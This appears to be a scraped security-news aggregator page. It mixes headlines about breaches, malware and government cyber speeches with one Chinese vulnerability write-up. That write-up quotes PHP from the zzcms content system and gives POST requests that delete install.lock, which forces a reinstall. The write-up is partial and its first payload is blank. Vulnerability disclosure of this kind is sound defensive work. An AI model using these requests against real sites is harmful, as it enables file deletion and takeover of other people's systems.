Aggregator
Android Telephony拒绝服务漏洞(CVE-2016-6763)分析
第二十七期 电子数据取证在保护知识产权中的应用
第二十七期 电子数据取证在保护知识产权中的应用
C# winfrom listview 多窗口调用 - 杀死比特
贪心算法之字符串的完美度
A Billion Users Affected by Latest Yahoo Breach
Yahoo Inc. just revealed its second major breach in a year. Its first disclosure, taking place in September, claimed that...
The post A Billion Users Affected by Latest Yahoo Breach appeared first on McAfee Blog.
MS509团队获得Google致谢
MS509团队获得Google致谢
Details of Denial of service vulnerability in Telephony
Details of Denial of service vulnerability in Telephony
一言不和就造轮子之 CookieHelper
Opening Statement to the Intelligence & Security Committee 12 June 2016
Speaking Notes for the Opening Statement to the Intelligence & Security Committee by Andrew Hampton, Director, Government Communications Security Bureau.
"机器人防火墙":人机识别在应用安全及风控领域的一点实践 - r00tgrok
一个目录穿越引发的注入及后续——XG SDK漏洞回顾与思考
一个目录穿越引发的注入及后续——XG SDK漏洞回顾与思考
Trickbot Now Targeting German Banking Group Sparkassen-Finanzgruppe
From the Cloud to Drones: Threat Predictions for 2017
2016 has been quite the year. From widespread IoT attacks, to ransomware campaigns that extract millions of dollars, cyberthreats have...
The post From the Cloud to Drones: Threat Predictions for 2017 appeared first on McAfee Blog.
zzcms最新产品版任意文件删除(可导致重装)
先来看可以导致任意文件删除的地方,在E:/www/zzcms/user/delimg.php中第12行:
$id=$_REQUEST['id']; $sql="select img,img2,img3,flv,editor from zzcms_main where id ='$id'"; $rs=mysql_query($sql); $row=mysql_fetch_array($rs); if ($_REQUEST['action']==1){ if ($row['img']<>"/image/nopic.gif"){ $f="../".substr($row['img'],1); if (file_exists($f)){ unlink($f); }这里有一个任意文件删除的操作,也就是从zzcms_main中查询出来的img字段值做了一个删除操作。但是这个地方的$id虽然我们不能注入,但是是我们可控的,所以我们找一个入库的地方看看。
在/user/zssave.php中第107行:
if ($_POST["action"]=="add"){ $isok=mysql_query("Insert into zzcms_main(proname,bigclasszm,smallclasszm,shuxing,szm,prouse,gg,pricels,sm,img,img2,img3,flv,province,city,xiancheng,zc,yq,title,keywords,description,sendtime,timefororder,editor,userid,groupid,qq,comane,renzheng,skin) values('$cp_name','$bigclassid','$smallclassid','$shuxing','$szm','$gnzz','$gg','$lsj','$sm','$img1','$img2','$img3','$flv','$province','$city','$xiancheng','$zc','$yq','$title','$keyword','$discription','".date('Y-m-d H:i:s')."','$TimeNum','$username','$userid','$groupid','$qq','$comane','$renzheng','$skin')") ; $cpid=mysql_insert_id(); }elseif ($_POST["action"]=="modify"){ $oldimg1=trim($_POST["oldimg1"]); $oldimg2=trim($_POST["oldimg2"]); $oldimg3=trim($_POST["oldimg3"]); $oldflv=trim($_POST["oldflv"]); $isok=mysql_query("update zzcms_main set proname='$cp_name',bigclasszm='$bigclassid',smallclasszm='$smallclassid',shuxing='$shuxing',szm='$szm',prouse='$gnzz',gg='$gg',pricels='$lsj',sm='$sm',img='$img1',img2='$img2',img3='$img3',flv='$flv',province='$province',city='$city',xiancheng='$xiancheng',zc='$zc',yq='$yq',title='$title',keywords='$keyword',description='$discription',sendtime='".date('Y-m-d H:i:s')."',timefororder='$TimeNum',editor='$username',userid='$userid',groupid='$groupid',qq='$qq',comane='$comane',renzheng='$renzheng',skin='$skin',passed=0 where id='$cpid'");可以看到对应着action的不同,sql语句也不同,第一个是Insert,第二个update。我们看到在两个sql语句中都有img这个字段。并且相对应的的值$img1也是我们可控的:
$img1=$_POST["img1"];其次就是对于update语句,我们还能控制update哪一行,因为主键id的值也是我们可控的:
$cpid=$_POST["ypid"];所以结合上面所说,我们能够控制任意zzcms_main表中任意一行img字段的值,所以说我们能够删除任意文件。
漏洞利用:
首先为了防止zzcms_main表中没有任何数据,所以我们首先进行一个增加数据的操作:
payload:
然后我们开始更新第一行的img字段的值,payload:
http://localhost/user/zssave.php POST: action=modify&img1=/install/install.lock&ypid=1然后我们再进行删除操作:
http://localhost/user/delimg.php
POST: action=1&id=1
就能删除掉install.lock文件啦。然后开始重装:
Comments to New Zealand Institute of International Affairs
Protecting New Zealand’s digital assets in an interconnected world (29.11.16) by Andrew Hampton, Director GCSB.